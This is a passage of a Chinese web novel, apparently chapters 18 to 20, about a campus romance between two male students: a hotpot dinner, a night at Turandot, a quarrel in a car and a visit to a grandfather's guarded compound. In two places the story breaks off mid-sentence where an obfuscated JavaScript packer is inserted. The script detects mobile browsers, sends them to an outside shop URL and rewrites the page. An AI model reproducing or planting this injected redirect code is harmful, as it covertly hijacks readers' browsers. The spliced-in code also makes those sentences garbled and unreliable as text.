她似乎也烦了,期末复习周时,她接受了一个学长的示好,但目前尚未和对方正式确定关系。 幺鸡瞧不上那个学长,嫌人老气横秋的,说话做事一派官气,他认为这种不懂谦卑的男人是绝对不会宠女朋友的。 他非要把刘可欣喊出来,宣称要把他们院最帅的几个男人介绍给她! 最帅的几个男人,打着哈欠揉着眼屎,一门心思只想蹭饭,一听幺鸡这疯话,顿时屁股就坐不住了。 霍晔首当其冲站起来,严肃冲人家伸出手:“你好,我是gay!” 刘可欣立刻笑得不行,起身和他握手,说:“我知道。” 江箫经常和幺鸡混一块儿,他和刘可欣很熟,没起身握手,只坐在椅子上望着她笑:“可欣你就甭考虑我了,为了大局着想,我也可以是gay。” 刘可欣笑着点头:“好好好!别抢,都是gay都是gay!” 接着她又转头看向江箫旁边的男生,笑声玩笑道:“这个大佬我也认识,曾盛豪是吗,你也是——” “我不是gay。” 曾盛豪觉得一屋子男生这样逗弄一个女生不太好,他站起身和她虚握了下手:“我喜欢女生,你身边如果有产生恋爱想法的同学可以介绍给我,谢谢。” 刘可欣几乎瞬间就被这位绅士打动了。 她激动道:“大佬,要不就你吧!” 大佬匆忙撤回手,一屁股拖着座椅离她十万八千里。 “对不起,我更倾向日久生情类型的。” “没关系,”刘可欣早知道他的事,忍不住憋笑逗他,“大佬,反正咱俩今天都认识了,往后可以慢慢发展嘛!” “那个……”曾盛豪歉然道,“真是不好意思,我不喜欢太热情的。” “是么?”刘可欣潇洒撩了下头发,“但是闷骚的就该搭配个热情的呀!而且我很漂亮啊,我就相中你了,大佬,你看咱俩多般配!” 曾盛豪忙道:“我也不喜欢太漂亮的。” 刘可欣幽幽道:“我一六八,听说你是一八六,你看咱俩身高也挺贴的!” 曾盛豪闷着头:“我喜欢更娇小的。” 刘可欣放声哈哈大笑起来。 本想着英雄救美,没曾想反倒成了人家逗弄的对象,曾盛豪双手攥拳憋红着脸,他就觉得这一整桌人,简直没有一个是严肃的! 幺鸡见刘可欣穷追猛打的那劲儿,突然就有点儿急。 他伸手把刘可欣拽回来,认真跟她讲:“老二不太行,你别喜欢他,他这人有点抠。” “不对,他是非常抠!” “你要跟他这种人搞对象,他是绝对舍不得给你花钱的!” 刘可欣认真点点头,说:“好的,我不喜欢他!” 曾盛豪没忍住轻哼一声。 旁边霍晔桌底下给他一脚:“你哼什么哼?” 曾盛豪皱眉瞥他一眼。 霍晔浑身阳刚正气扑面而来,一双炯炯大眼逼视着他:“你这人嘴上一套心里一套,虚不虚伪!” 曾盛豪被对方一腔熊熊热烈的正义之火烧得眼睫毛疼,低头匆忙拿起筷子,催促众人道: “好了好了,大家快吃饭吧。” 席间,幺鸡生怕刘可欣又真的看上谁,一张毒舌嘴宛若炮火般,瞄准霍晔和江箫,对二人大肆点评 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521266|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番。 霍晔浪,江箫痞,俩人还都是奋进事业型,一看就不是那种顾家好男人,浑身缺点加在一起比腿毛还多,绝不是刘可欣的良配。 霍晔一听这话,立刻托胳膊举手:“报告鸡长官,我有经常去医院脱毛的!” 刘可欣忙好奇问:“真的吗?哪家啊?靠谱吗?褪得干不干净啊?” 霍晔一屁股靠过去,掏手机就和人互换微信:“来,我推你,就这家。你和你身边朋友如果想做,直接找他们经理报我手机号,费用从我会员卡里扣,要是担心有隐患,你们也可以去体验一下他们家的常规美白SPA或者美发沙龙,不用担心价格,都算我的。” 刘可欣两眼放光:“我靠!真的假的!” 霍晔大力点头:“真的!” 刘可欣忍不住尖叫:“天哪,我好爱你!” 霍晔也尖叫:“我也爱你宝贝!” 其余人:“…………” 一顿火锅吃下来,汉语言系花刘可欣就这样和霍晔成为了好闺蜜。 在此之前,外院几乎所有漂亮活泼的女生都是霍晔的好闺蜜。 临近散席,刘可欣趁着霍晔去上厕所,悄悄凑到曾盛豪身边,挺抱歉跟人讲:“大佬,听说你好像是直男啊,但是鉴于咱们今天这种情况……嗯,如果你以后想找女朋友,还是找别人帮忙介绍吧。” 曾盛豪愣在原地,没由来嗅到一股名为“霍”姓的阴谋的味道。 幺鸡和刘可欣下午要赶火车回家,又聊了一会儿,俩人结伴走了。 江箫寒假申请了留宿两周,说有兼职要做,等幺鸡和刘可欣离开,他从兜里掏出两张《图兰朵》的歌剧票,递向曾盛豪。 “我家教小孩儿的家长是国家剧院的领导,人家给我的两张票当做新年礼物,让我约女同学去玩儿,不过我单身狗一个,幺鸡对这些东西也没兴趣,你和老三一道儿欣赏去吧,别浪费。” 曾盛豪不解地接过,低头一瞧,还是中区最好的位置,单张票价一千六百多块,有点抱歉:“那个……我音感不是很好。” 江箫挺无语:“谁让你真听歌儿去了?” 曾盛豪顿了顿,说:“我知道你意思,但说实话这半年来我过得很乱,可能跟我第一次住校有关,可能这几个月学习压力太大,让我在私生活方面过于随心所欲了,也可能单纯是我意志不坚定。” “总之都是我的问题,是我没有把控好和……和他的边界,我确信我只是被他的表象所吸引,是我肤浅禁不住诱惑,但我对他没有想要厮守终生的爱意,也不认为他那一箩筐的假话里会对我存着几分的真情,因此我不认为这是爱情,我和他也绝无可能往爱情的方向发展。” “你那叫一见钟情,不叫‘被表象所吸引’。” “而且咱才多大年纪,你干嘛要执着于厮守终生的爱?” 江箫叹了口气,拍拍他肩膀:“兄弟,我真不知道你有啥好顾忌的,为色所迷就为色所迷呗,你买衣服还要看版型款式呢!你听我的,大学里谈个恋爱,喜欢咱就大大方方地谈,不喜欢了咱就大大方方地散,大家初衷都是这样的,没人会一上来就跟你考虑一辈子的事儿。” “不,”曾盛豪抗拒道,“他的某些行为方式我都很不喜欢。” “这个……”江箫挠挠下巴,挑眉问,“比如?” “我不想说,”曾盛豪认真盯着他,“我们现在这个行为属于在集体讲他坏话了,他平时对我们集体都很好的。” “真服了你!” 江箫哭笑不得,起身拍他一下肩膀,将两张歌剧票放在他碗筷旁边,手指重重地敲了敲。 “反正票我给你撂这儿了,你不愿邀请他,等下出门就扔了吧。” 江箫说完就潇洒地走了。 留下曾盛豪一个人坐在位置上,很不潇洒地考虑要不要把这两张价值三千多的票转二手闲置群卖掉。 毕竟江箫不是很有钱,放假还这么努力地做兼职,人家拿到票后第一反应是送他谈恋爱而不是卖掉自己花,即便对方是存了送人情的心思,曾盛豪依然觉得江箫是个大好人。 等他回头卖出去了,自己添点钱补上差价,再给江箫讲明情况,既能弥补人家的损失,也算是表达一下自己的心意。 这样想着,曾盛豪走到窗边,挑个采光好的位置,给两张崭新的歌剧票拍了两张正反面的照片,然后标上价格,写明一句“个人原因,八折转售”,发送到了学校人数最多的闲置群里。 曾盛豪并不担心江箫会看到。 说起来很有意思,江箫虽然不算很富裕,但他似乎对一切属于他的东西占有欲都很强烈,因此从不考虑二手的东西,至于江箫自己的,他宁愿丢掉也不会转卖,原先军训结束,学校呼吁大家把军训服捐掉,江箫没响应号召,自己跑去垃圾场一把火烧了,回来后一脸酣畅淋漓地笑着,吓得幺鸡当晚就做噩梦了。 曾盛豪对心理学略有涉猎,他不好评价室友偶尔爆发的极端行为,只是平时会多留心观察。 他发现江箫永远被褥整齐,偶尔还会裸着膀子在水房对着镜子自恋,外在好像很开朗阳光,然而一旦认真投入进学习或者做事,江箫整个人表现得极为压抑,仿佛周身围绕一团阴云,连背影都散发着戾气。 这么一个浓颜重欲长相的高大帅哥,私生活上竟然淡如止水,江箫宣称自己一心向学,甚至格外抗拒那些抱有恋爱想法的、试图接近他的人。 曾盛豪一度将江箫视为榜样,认为一个年仅十八的大学生把“存天理,灭人欲”这六个字发挥到极致实属不易,但日子一长,他又隐约感觉到江箫身上所笼罩的阴霾实在是……寒冷。 便猜测,这人心底很可能有某种难以言明的苦衷。 当初姜爸请他们吃饭,最后问起江箫家庭,江箫只笑着说了句:“我家是重组家庭,我爸在银行上班,我阿姨是教师,还有个弟弟。” 一句“阿姨”便见端倪,讲述顺序从“亲”到“疏”,可见这个弟弟也不是亲弟弟。 姜爸连称抱歉,起身就要倒酒自罚一杯,江箫摆手说没关系,说心里早把对方当妈妈了,只是嘴上改不过来称呼。 因此他们宿舍连霍晔身份都逐渐显现时,也从来没人问起江箫家里的情况。 窗外城市建筑白茫茫一片,吹进几丝风,有些冷。 曾盛豪捏着票又坐回桌边,打开手机翻看群消息。 只有几个管理员在热火朝天地讨论无关紧要的事。 管理员一: 【帅哥你手挺好看,低价出售不?】 管理员二: 【你连人带票全包了,人家或许会考虑】【鄙视emoji】 管理员一: 【帅哥这票价挺有实力,可惜我钱包没实力】【哭泣emoji】 管理员三: 【@宁静致远 帅哥方便问下你这微信名是和别人打赌输了才起的吗?】【托腮思考emoji】 曾盛豪:“……” 正要编辑一句“不是”,突然群里冒出个头像是Q版西装小人的男生艾特他:【我要,加我】 曾盛豪笑了声,他觉得今天运气不错,这才发出去不到两分钟,毕竟价格摆在那里,他还以为很难找到买家呢。 曾盛豪加上对方微信,给对方发消息: 【先给你验货吧,你什么时候方便见面?】 对方显然是个大款,直接按两张原价票的价格转账给他: 【收钱,有空我去找你拿】 曾盛豪不愿辜负对方信任: 【我们还是先见面验货吧】 对方: 【没空跟你墨迹,按我规矩来】 曾盛豪无奈就把钱收了,又问一遍: 【我们什么时候见面?】 对方: 【明天下午三点到六点有空么?】 曾盛豪皱了下眉,拿出票反复确认了下歌剧演奏时间,正好是明天三点到六点。 他敲字回复: 【我是有空,但是你很可能就赶不上前半场了】 对方: 【你有空就行】 曾盛豪不太理解这人到底是不是真的想看,还是单纯钱多了烧的慌。 考虑到学校和剧院将近一个小时的通勤距离,他打算争取把见面时间约在下午一点半。 门口忽然踱步进来一道高挑人影。 曾盛豪愕然抬头。 霍晔单手插兜,另一手冲他晃了晃手机,笑道: “曾盛豪,陪我去看歌剧吧。” 19. 第十九章 霍晔没问曾盛豪这两张票哪来的,曾盛豪也就没吱声。 霍晔只是顶着一张散发着致命幽香的美人脸凑近他,悄声在他耳畔吹气:“你愿不愿意啊?” 曾盛豪满脑子灌浆糊似的,迷糊道:“愿意。” 在《图兰朵》的故事中,流亡的鞑靼王子卡拉夫被图兰朵公主的美貌所吸引,即便亲眼目睹波斯王子求婚失败被斩首,他依旧不顾身边人的强烈劝阻,毅然敲锣应婚—— 曾盛豪认为他自己也没比卡拉夫好到哪儿去。 不过曾盛豪很好奇,霍晔成天日理万机的,花钱大手大脚,怎么会有闲情逸致加闲置群? 霍晔蛮随意“哦”一声:“上次你在我家过夜,早上起床的时候,我帮你手机充下电。” 曾盛豪脸色一沉:“你动我手机了?” 霍晔忙哄道:“只是帮你把傅崇义微信删了,别的绝对没碰!” 曾盛豪皱眉:“你这属于侵犯我隐私了!” 霍晔无语扶额:“你有啥隐私啊?微信加一堆小语种咨询广告,一堆拉夫劳伦的柜哥柜姐,一堆连名字都懒得给人家备注的、只有年级+部门的学长学姐,一堆助理ABC,剩下的就是些财经报、经济报的公众号,我都懒得翻好吧?” “还有,你这老头儿能不能稍微尊重一下咱们第三次工业革命,我请问这年头谁家大学生会在闲置群卖报纸啊?” “当时没打算参加国赛,这些资料江箫姜离也不要,我考虑到肯定有其他参赛——”曾盛豪忽然意识到什么,满脸震惊地瞪着他,“上次那些报纸也都是你买走的!” 霍晔笑得不行,凑近他脸庞亲了一口。 他几乎快无法控制住对这个男生的爱意,食指逗弄地戳了戳对方呆愣的脸庞,似笑似嗔道:“宝贝儿,我求你了,你别总是这么可爱行不行,我真的要受不了了。” 曾盛豪打掉他手,皱眉道:“霍晔,不管我有没有隐私,你以后都不许再动我手机了。” 霍晔委屈地揉着手:“你打痛我了。” 曾盛豪抗拒道:“不行,你又装。” 霍晔闷头吸鼻子:“就是痛嘛。” 曾盛豪叹了口气,凑近去接他手:“哪里?给我看看。” 霍晔当即撅起嘴,仰脸凑过去索吻:“喏,这里,要亲亲才能好。” 曾盛豪气笑了,两根手指一捏,将他撅起的嘴唇捏扁:“不可以,不许你这么可爱。” 这话一说出来,俩人都不约而同愣住了。 曾盛豪火速闪开,抱头躲进门后。 “我乱说的!我乱说的!” 霍晔摸了摸嘴唇,笑望着他:“好,我当没听见。” 曾盛豪闷声道:“刚才那句话只是在描述事实,并不是出于私人的情感。” 霍晔点头笑:“行,谢谢你描述事实,我很开心。” 并在曾盛豪再三强调下,霍晔正式宣布,他已经删除掉刚才的记忆了。 没由来的,曾盛豪又觉得有些对不起他。 * 次日。 三更半夜宿舍门外就陆续传来行李箱车轮子滚动在走廊的声音,曾盛豪一整晚没睡好,清晨江箫洗漱好了出门兼职,整个宿舍就剩他一个人,他又埋进被窝里补了半天觉。 这半年大学上得他筋疲力竭,狭小简陋的宿舍环境,采光差劲储物空间又小、被迫参加一些形式主义的会议、搜集各类信息等杂琐事最为耗费心神,学习反倒成了次要,眼下好容易放假,曾盛豪赖在被窝快下午两点才醒。 然而在水房洗漱时,他就又不轻松了。 曾盛豪满嘴泡沫叼着牙刷,眉头紧皱望着镜子,抬手摸了摸昨天被霍晔亲过的侧脸。 为防两伤,他今天一定要和霍晔说清楚。 霍晔很早就弄来一张驾照,为此霍玉章千叮咛万嘱咐,警告他喝酒不开车,开车不喝酒,更不许一边开车,一边跟男女朋友之类的人调情谈爱。 霍晔忍住那句“你以为谁都跟你当年似的”,一味冲他叔叔卖萌扮乖,霍玉章懒得戳穿他真面目,最终无奈笑声挥了下手:“算了,说再多你也听不进去,反正出了事儿都是我担着,就看你小子疼不疼我这个叔叔了。” 霍晔便忙称绝不敢再惹事,信誓旦旦地向老狐狸保证他将严格遵纪守法,争做新时代好公民! 表完忠心,又觉得,其实老狐狸才真是拿捏人心的一把好手。 霍晔轻易不开曾盛豪送他的那辆车,第一是没那闲工夫找车位;第二如果曾盛豪不坐,他开这车也没意思;第三是怕太张扬了招人耳目,给家里添些不必要的麻烦。 但单纯就第三条而言,自从上次和傅崇义打过一架,霍晔忽然就有了新的思路。 霍晔对外宣称傅崇义最近在热烈追求他,净给他送些珠宝豪车,简直是讨厌死了,然而他霍某人是有未婚妻的正派人物,尽管傅大色魔对他一往情深,爱他爱得寻死觅活,他霍某人都始终坚持原则,绝不与傅崇义这等豺狼虎豹为伍! 众所周知,傅崇义和霍晔一样有这方面的癖好,但这话题太敏感,不是谁都有资格可以把这事儿摆在明面上讨论,以至于后来傅崇义听到风声,想澄清竟没处说理去。 不过傅崇义一向以自我为中心,不太在意旁人目光,霍晔平白无故造他谣,傅崇义只是给他打了个电话,怒声咆哮他一句:“死娘炮你他妈有病吧?!” 霍晔矫揉造作喊他一句“哼,死鬼~”,傅崇义立马被恶心得挂断电话,偶尔俩人在外头的饭局或商务宴撞上了,傅崇义也是大老远看见他就绕道走,估计是嫌晦气。 霍晔认为,这就叫不战而屈人之兵,善之善者也! 霍晔将车停在M大校门口路边,手指有节律地敲着方向盘,正寻思着劳斯莱斯这么多款车型,曾盛豪不买库里南不买闪灵,也不选幻影和曜影,咋偏挑个“魅”影?旁边来人就“咚咚”敲了两下副驾车门。 “还挺有身份自觉性。”霍晔笑着给人开门上车。 曾盛豪在来时路上打的近乎万字的满腹草稿,就在霍晔这一句逻辑性极强且毫无辩驳角度的玩笑话中卡住壳了。 霍晔见对方一脸忧郁苦闷,挑了下眉:“怎么了?谁又惹你了?” 曾盛豪趁机转过头,强调:“霍晔,这是最后一次了!我们不能再这样下去了!” 霍晔就笑:“行,我答应你。” 然后亲昵地伸手揉了揉对方头发蓬松喷香的脑袋瓜,一脸笑意地发动车子。 曾盛豪也抬手摸了摸自己的脑袋。 他觉得霍晔真能听进去这话才有鬼了。 为了证明这不是一场约会,曾盛豪出门没有喷香水,穿得黑羽绒服还是学校统一发的,鞋底也有点脏——他路上故意在灌丛边蹭的。 但转脸一瞧,旁边开车的霍晔似乎也没过多打扮,只穿一件深驼色羊绒开衫,内搭是件黑色紧身毛衣,下身深灰牛仔裤,脚踩一双低帮板鞋,一张脸笑得宛若初春花朵,整个人松弛又惬意。 于是又觉得,霍晔似乎没想象中那么喜欢他。 曾盛豪心理压力减轻不少,低头轻吐出一口气,一字不差地把昨天在火锅店对江箫讲过的话跟霍晔重复了一遍。 “我们这不是爱情,我也不可能和一个男生发展爱情,霍晔,在造成更坏结果之前,我不想再让这种畸形的暧昧关系发酵下去了。” 霍晔心不在焉“哦”一声,扭头瞥他:“我也没说要跟你发展爱情啊。” 曾盛豪顿了顿,说:“我知道。” 霍晔不以为意道:“那不就得了,我又不阻挡你升官发财,你现在就陪我好好玩儿呗,等哪天我腻了,自然而然就会撒手了。” 曾盛豪皱眉:“我尊重你的恋爱观,也麻烦你尊重一下我,我没办法成为一个轻浮随便的人!” 霍晔轻嗤一声:“你急什么?我又没有强迫你,你就一直保持这样呗,反正所有人都觉得是我缠着你,你又不喜欢我。” “但是我不想让所有人都这么觉得!”曾盛豪怒不可遏地冲他吼了一嗓子。 吼完,整个人受伤似的蜷缩成一团,闷头又说了句“对不起”。 霍晔不禁莞尔:“没关系的。” 曾盛豪没再吭声,倔强着一张脸扭望着车窗外,不晓得自己后脑勺翘起一小撮头发。 霍晔伸手过去想要帮他捋平,曾盛豪从车窗观察到他动作,连忙偏头躲他一下。 “算我求你,别再靠近我了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521267|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 霍晔于是就笑着收回了手。 二人一前一后踏入国家剧院,检票时,霍晔半开玩笑地问曾盛豪,为了避免挨太近,等下我要不要和旁边人换座? 曾盛豪愣了一下,然后连忙摇头说不用。 霍晔轻哼一声,一句“算你还有点良心”没说出口,对方嘴里蹦出一句“我去找人换就好了”,气得霍晔笑个不停,直接抡拳头狠狠砸在对方胸膛上,疼得曾盛豪闷哼出声。 “敢换位置你就死定了!” 两人进歌剧院中央池座找位置,场内观众比想象中还要满。 片刻,《图兰朵》第一幕巨幕缓缓落下,全场灯光熄灭,观众台也陷入漆黑。 霍晔趁机小声凑近问:“诶,你还会意大利语啊?” 曾盛豪抿了下唇,说:“不会。” 霍晔讶然:“那等下谁来给我翻译?” 曾盛豪当即掏出手机,调暗屏幕亮度,向对方递上有道词典翻译器。 霍晔嫌弃道:“就这?” 曾盛豪认真道:“你要信赖第三次工业革命。” 霍晔笑得肚子疼,挥手打他几下胳膊:“我真服了你了!” 曾盛豪默不作声地承受着对方不停袭来的物理伤害,再次在心中开启自我排解模式: 这绝不是打情骂俏,这是攻击,赤裸裸的人身攻击! 歌剧开场,震撼磅礴的管弦乐在满场寂静中遽然奏响,犹如一道轰隆隆的巨雷声劈裂黑空,电闪雷鸣照亮坟场,刺激得众人猛然心脏收紧,情绪不自觉高亢起来! 眼前是一片阴森肃杀、充满着死亡气息的北京皇宫广场。 两个完全听不懂台词的人并排坐在一起,试图把演奏剧情与他们脑海中已知的故事链接上。 《图兰朵》是意大利作曲家幻想中的古代中国故事,在虚拟的北京皇宫中,有大汗与公主,还有前仆后继向图兰朵公主求婚的异国王子。 图兰朵的祖先罗玉玲公主遭异族掳走、凌辱并杀害,图兰朵为了向所有男性和当年的施暴者复仇,设立“猜谜招亲,答错斩首”的残酷规矩,鞑靼王子卡拉夫痴迷于她的美貌,不顾身边人劝阻,执意要求娶图兰朵。 卡拉夫在大殿上挑战公主的三个谜语: 第一问:什么在黑夜诞生,在黎明死去? 第二问:什么像火焰般炽热,却不是火焰? 第三问:什么如冰却燃烧,奴役你却让你成王? 卡拉夫全部答对,图兰朵却反悔,于是卡拉夫给她出了一道谜题,让她猜出他的名字。 若她猜出,便可将他处死。 图兰朵举倾城之力,要搜查王子名字,甚至将爱慕王子的侍女柳儿拷打至死,柳儿宁死不招,她对王子的爱意感化了公主,最终,在天亮之前,王子用一吻融化了公主冰冷的心,并告诉她自己的名字,公主却并未处死他。 她向全城宣布,王子的名字是“爱”。 歌剧在恢弘盛大、充满光明的合唱中结束。 曾盛豪虽为音痴,但为了值回票价,他坐姿笔直端正,坚持要等最后一个音符落地才肯走。 霍晔忽地凑过来,笑吟吟往他耳畔吹出一句话:“要是卡拉夫没那么好色,后来就没那么多事儿了。” 曾盛豪本就听不懂意大利语的一颗心更加烦乱。 他皱眉道:“好色是人之常情吧。” 霍晔笑了下,伸出指尖戳他一下脸颊,轻声道:“什么如冰,却令我燃烧?” 不待曾盛豪开口,他又将手指对准自己,笑问:“什么奴役你,却令你成王?” 曾盛豪失笑:“霍晔,我们真的没必要——” “你是明天下午回家的飞机吧,”霍晔靠在他肩膀,低头闲闲把玩着他五根修长漂亮的手指,提议道,“明天上午带你去我外公家吃饭,记得穿帅点儿,他还没亲眼看过你有多优秀呢。” 曾盛豪几乎在瞬间就把话头给咽回去了。 身旁少年笑得一脸单纯,忽然又伸出一只手,恶狠狠拧了两下他的脸。 “宝贝儿,我不知道你到底要什么,所以只好把能给你的都给你。” “至于你那引以为傲的自尊心,以后还是别要了吧。” 20. 第二十章 曾盛豪对霍晔那两句话感到很生气。 首先,出于礼数,他如果能替父亲去探望恩师,那是一定要去的。当初他办学籍,两家为避嫌没正式碰面,一切琐事都是底下秘书代理,曾盛豪不觉得他这个无官无职的小辈,陪同学登门拜访一下老爷子有什么不合适的。 其次,他早说过不需要霍晔给他什么。 他自认和霍晔是门当户对,理应平起平坐,俩人唯一的区别只在于他不是Z|央干|部子女,还有,从性格上来说,他不像他们这群嫡系出身的大院子弟这么猖狂跋扈。 他父亲曾孝席是现任驻外大使,是副部级的干部,比外交部翻译司的正职司长还高一级,霍晔在婚礼上给他介绍欧阳叔叔,什么意思? 最后,他希望霍晔不要再自作多情,因为他对霍晔不抱有任何爱情的想法。 曾盛豪理直气壮滔滔不绝一顿输出,霍晔只是笑而不语,等对方噼里啪啦地发表完个人见解,霍晔耳朵里只听进去四个字: 门当户对。 “我也认为咱俩门当户对。” 霍晔停下车,俯身吻住身旁人干糙起皮的嘴唇,趁人怔愣发懵,他闭着眼就往里面伸舌头。 “盛豪哥,”他嗓音黏糊依恋,“我好像没有跟你讲过,你吻技很好,让我很怀念……” 曾盛豪烦躁地将他一把推开:“别闹了!” 霍晔猛地摔回驾驶座,不留意将舌头咬破了。 他抬手腕抹掉嘴角流出的血迹,眼神有些幽怨:“你都不爱我。” 曾盛豪又气又恼:“我本来就不爱你!” 霍晔不甘心,又凑近去牵他手:“可是我很喜欢你。” 曾盛豪愤怒甩开他手:“你不喜欢我!你只是喜欢玩儿!就算没有我也还会有别人!你只是在消遣时间,随便谁来都可以!” “曾盛豪你今天到底是怎么了?是放假太闲了让你又想变莎士比亚了是吗?!”霍晔皱眉,“我真搞不懂你想这么多干嘛,及时行乐不好吗?我强迫你一定要负责了吗?我现在就喜欢你,只喜欢你一个人,难道这还不够吗?!” “你的喜欢很了不起吗?!”曾盛豪怒瞪着他,“我没说要对你负责,你也未必真就瞧得上我!霍晔,我现在是在求你,我拜托你对我负责行不行?!我不要及时行乐!我不要只是现在!我要你这个人,我要你的全部和将来,只要你说一句‘永远’,我现在就可以跟你上床!” 霍晔沉默,好半晌,说:“我没有将来。” “那就别跟我提什么爱不爱!”曾盛豪几乎是歇斯底里地吼他,扭身解开安全带,“砰!”一声重重摔门下车。 霍晔一脸平静地坐在车门轰隆回响的余震里,直至那人背影在车流不息的霓虹夜色中消失,他猛地抡起拳头砸上方向盘,下一秒,伴随着手指传来的骨裂痛感,拳头下覆盖着方向盘的真皮也被撕裂,深层镁铝合金骨架的裂痕犹如无数道疯长的枝桠蔓延开来。 “艹!”他红着眼眶狰狞地笑了出来。 * 前半夜在医院包扎,后半夜在夜店喝得烂醉。 清晨六点钟,阿姨推门一进家,就见整个一楼客厅东西砸得狼藉稀烂,空气中还充斥着浓烈的烟酒气。 她吓了一跳,急忙冲进屋,就见霍晔光着脚丫倒在客厅地毯上,身边扔着两瓶喝光的威士忌。 “小霍,小霍!”她惊惶地跑过去推他了几下。 “……em,morning.”他头痛欲裂,揉着太阳穴坐起身,一时天旋地转,还当自己是在华盛顿。 他扭过头,睡眼惺忪地瞅着对方:“Could you please make me some hangover soup?” 阿姨半猜半懂:“你早饭要喝汤吗?” 霍晔迟钝了好半晌,才闷头应了声:“嗯,弄碗醒酒汤吧。” 阿姨将他搀扶去沙发坐着,没多嘴问,只是嘱咐他一句“注意身体”。 她弯下腰,从地上捡起他裂屏的手机,在沙发插座扯了根线给手机充电,然后就拎着早上拿进家的三件防尘袋上楼。 “等下,”霍晔眯着眼,冲她挥了下手指,“那个怎么那么眼熟?” “这个啊,”阿姨笑了声,冲他展示着手中的西装,“你之前扔进洗衣篓了,我看这料子挺贵的,没敢随便找干洗店处理,问了我好姐妹,她给我推荐了家通州的店,就是离咱这儿太远,我昨儿晚上才拿回来。” “哦……”霍晔有点清醒了。 这是上次曾盛豪在他这留宿时穿的衣服,第二天清晨霍晔怕对方觉得二人同床尴尬,于是很早就洗漱出门了,没想到曾盛豪爱干净,走的时候没把脏衣服穿走,连拿都不拿。 霍晔甚至开始怀疑,曾大少爷是不是自动认为他会帮他洗衣服? 难怪后来有段时间,江箫和幺鸡上课时总是一脸奸笑地瞧着他和曾盛豪,显然那天早上,曾少爷挑了几件他的衣服穿走了。 “扔了吧。” 阿姨一脸不舍,叹了口气,拿着防尘袋往楼下垃圾桶走。 “卫生晚点再弄,”霍晔一脸疲惫地躺在沙发上,“先做饭吧。” “好。” 放在茶几边的手机突然响了铃。 霍晔拿起来瞅了眼,见是江箫,顿了顿,还是选择了接通。 “是你自个儿想我了,还是又来当传话筒?” 江箫笑:“我没那闲工夫想你,他大清早就跑出去买茶叶了,想知道你还带不带他去探望老爷子,你要不来接他,这茶叶回头我给你捎家去。” 霍晔冷呵:“你就跟他说我死了,没空。” 江箫轻啧一声,说了句“行吧”,然后就要挂电话。 “等下!”霍晔猛地一声大喊,两颗眼珠子直勾勾地盯着不远处拎着防尘袋要扔垃圾桶的阿姨。 “还有什么事儿啊?”江箫在电话那头问。 “我现在有空了,”霍晔笑得温柔,“告诉我家宝贝,我马上就去接他。” 两小时后,M大校门外路边停着一辆曾盛豪熟悉的红旗车。 他拎着茶叶,自觉走向后座,向龙溪打过招呼,然后就抿着唇一言不发。 本想对身旁人装作视而不见,但又实在没法忽视霍晔身上穿的衣服。 甚至连衬衫和领带也是他的。 大概是气质迥异,同一套西装穿在他身上就显得斯文板正,穿在霍晔身上就显得格外华丽耀眼。 “内裤和袜子也是你穿过的哦~”旁边人一脸恶趣味地冲他笑着。 曾盛豪:“……” 忽然又觉得没什么好耀眼的了。 他注意到霍晔右手绑着绷带,皱眉道:“昨晚又和人打架了?” 霍晔面不改色:“手|淫。” 曾盛豪气笑了:“那下面那根怎么没断?” 霍晔瞥他一眼:“你希望下面那根也断?” 曾盛豪清咳一声,不动声色地瞄了眼龙溪反应,说:“跟我没关系。” “怕什么,”霍晔抬手大力拍了拍驾驶座,“我们龙哥是部队里出来的兵,听过的荤话比你吃过的盐还多呢!来,龙哥,给咱这位纯情处男讲两个劲爆的!” 龙溪不接招:“你可别拉我下水,人家可是正经大学生。” 霍晔“诶哟”一声:“合着我不是正经大学生呗?” 龙溪就笑,对曾盛豪说:“你快说说他,我说不过他。” 曾盛豪没心情跟霍晔扯犊子,只认真问:“到底怎么断的?” 霍晔哼了声:“你打的。” 曾盛豪瞪他:“我什么时候打你了?!” 霍晔张口就来:“就前天在火锅店你夸我可爱的时候。” 曾盛豪:“……” 鉴于霍晔这嘴硬得堪比金刚钻,这话题很快就不了了之。 等车靠近市委大院,龙溪先下车给霍晔开门,然后上门岗找哨兵,请对方帮忙通报。 曾盛豪没见过这阵仗,准确来说,他不晓得亲孙子见亲外公也要通报。 他刚要拎着茶叶下车,霍晔突然伸出那只残手,一把将他胳膊摁住:“这几千块的破茶叶我外公瞧不上,别拎了。” 曾盛豪犹豫了下,小声说:“但是太贵重了,好像也不太合适吧?” 霍晔就俯下身,从脚边拎出一兜子透明塑料袋装的砂糖橘。 “拿着,十块钱三斤,吃完橘子剩下的皮晒了还能泡水喝,不比你那破茶叶强?” 曾盛豪没忍住笑了。 他是真心佩服这个人。 两人下车,另一哨兵过来搜他们的身,连砂糖橘都要倒出来一颗颗检查,反复确认他们身份,这才放行。 这座专供高|职退休干部的大院,白墙黑瓦,砖石铺路,围墙高耸,守卫森严,无形之中予人以压迫感。 冬日萧条,一轮圆日照耀在苍白天空,晃得人头晕目眩。 院内人工河溪流干枯,道旁杨柳枝干粗壮,草坪也栽种有数颗百年大树,曾盛豪跟随霍晔东拐西拐,半天瞧不见个人影,偶尔老远看见一两个警卫员,也都神色严肃,匆匆而过。 曾盛豪想不明白,这么一座仿佛连空气都凝固的大院,怎么能养出霍晔这种浮夸不着调的纨绔子弟? 曾盛豪本身没接触过体制内。 